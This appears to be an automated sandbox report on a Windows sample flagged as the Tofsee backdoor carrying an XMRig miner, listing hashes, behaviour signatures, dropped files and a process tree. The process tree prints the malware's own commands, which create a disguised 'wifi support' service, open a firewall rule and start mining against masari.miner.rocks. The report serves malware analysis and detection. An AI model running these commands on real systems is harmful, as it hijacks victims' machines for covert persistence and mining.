Overview

overview

10

Static

static

fbc9e84fb8...6c.exe

windows7_x64

10

fbc9e84fb8...6c.exe

windows10_x64

10

Analysis

  • max time kernel
    152s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    11-05-2021 14:09

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General

  • Target

    fbc9e84fb81152a95566bd66ede967f1d692510af8f7f924f0efe3b8ae14716c.exe

  • Size

    13.4MB

  • MD5

    eae2de97ac74226b034dbfbf1f14c381

  • SHA1

    befe1909f932e5ac0ff26a67057dab71d016d18f

  • SHA256

    fbc9e84fb81152a95566bd66ede967f1d692510af8f7f924f0efe3b8ae14716c

  • SHA512

    89da3a276cc3376c441cb06a3a005a4dbfdda8b00e411ec3adf5ea067cc0a0a34bcf319a32c45a56a44ba76a5fca0d0d581133477e9d543289a4668d26bfe8ec

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fbc9e84fb81152a95566bd66ede967f1d692510af8f7f924f0efe3b8ae14716c.exe
    "C:\Users\Admin\AppData\Local\Temp\fbc9e84fb81152a95566bd66ede967f1d692510af8f7f924f0efe3b8ae14716c.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1640
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dwhglacz\
      2⤵
        PID:1244
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vuikyvwo.exe" C:\Windows\SysWOW64\dwhglacz\
        2⤵
          PID:1884
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dwhglacz binPath= "C:\Windows\SysWOW64\dwhglacz\vuikyvwo.exe /d\"C:\Users\Admin\AppData\Local\Temp\fbc9e84fb81152a95566bd66ede967f1d692510af8f7f924f0efe3b8ae14716c.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1616
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description dwhglacz "wifi internet conection"
            2⤵
              PID:2028
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start dwhglacz
              2⤵
                PID:584
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:892
              • C:\Windows\SysWOW64\dwhglacz\vuikyvwo.exe
                C:\Windows\SysWOW64\dwhglacz\vuikyvwo.exe /d"C:\Users\Admin\AppData\Local\Temp\fbc9e84fb81152a95566bd66ede967f1d692510af8f7f924f0efe3b8ae14716c.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:868
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1064
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o masari.miner.rocks:30162 -u 9rqX2BQ6Z4teAkaSqGBWvPZEM7bAtidewXXjYz86pVgKUQqDHeUqjy55fXt2fJAaJkPBteXWhptFqJVSr132QxsSSGfMCgw.50000 -p w=a -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2036

              Network

              MITRE ATT&CK Enterprise v6

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\vuikyvwo.exe
                MD5

                408fc222d1ca9795042137be9361c3f5

                SHA1

                ab64ce46a7a0419598738c4279869a5b21e4b7d2

                SHA256

                3878141b7b9fe2f794331b3a63b2e45f446ce85fb81d66e7f4ea2360cafa3ba3

                SHA512

                14964de457285d5bdbdc936ccd96f5bc424989d33d7c564c0941819fa259cc5c6bdf8036f8674ebd6f4aff92a85591d3af458f77fba31c4e4ef3229161c87b0c

                Download Submit
              • C:\Windows\SysWOW64\dwhglacz\vuikyvwo.exe
                MD5

                408fc222d1ca9795042137be9361c3f5

                SHA1

                ab64ce46a7a0419598738c4279869a5b21e4b7d2

                SHA256

                3878141b7b9fe2f794331b3a63b2e45f446ce85fb81d66e7f4ea2360cafa3ba3

                SHA512

                14964de457285d5bdbdc936ccd96f5bc424989d33d7c564c0941819fa259cc5c6bdf8036f8674ebd6f4aff92a85591d3af458f77fba31c4e4ef3229161c87b0c

                Download Submit
              • memory/584-68-0x0000000000000000-mapping.dmp
                Download
              • memory/868-76-0x0000000000400000-0x0000000002DEE000-memory.dmp
                Filesize

                41.9MB

                Download
              • memory/892-70-0x0000000000000000-mapping.dmp
                Download
              • memory/1064-72-0x0000000000080000-0x0000000000095000-memory.dmp
                Filesize

                84KB

                Download
              • memory/1064-73-0x0000000000089A6B-mapping.dmp
                Download
              • memory/1064-83-0x0000000000180000-0x0000000000190000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1064-81-0x00000000000A0000-0x00000000000A6000-memory.dmp
                Filesize

                24KB

                Download
              • memory/1064-79-0x0000000001D50000-0x0000000001F5F000-memory.dmp
                Filesize

                2.1MB

                Download
              • memory/1244-63-0x0000000000000000-mapping.dmp
                Download
              • memory/1616-66-0x0000000000000000-mapping.dmp
                Download
              • memory/1640-62-0x0000000000400000-0x0000000002DEE000-memory.dmp
                Filesize

                41.9MB

                Download
              • memory/1640-60-0x00000000769B1000-0x00000000769B3000-memory.dmp
                Filesize

                8KB

                Download
              • memory/1640-61-0x0000000000020000-0x0000000000033000-memory.dmp
                Filesize

                76KB

                Download
              • memory/1884-64-0x0000000000000000-mapping.dmp
                Download
              • memory/2028-67-0x0000000000000000-mapping.dmp
                Download
              • memory/2036-85-0x00000000002B0000-0x00000000003A1000-memory.dmp
                Filesize

                964KB

                Download
              • memory/2036-89-0x000000000034259C-mapping.dmp
                Download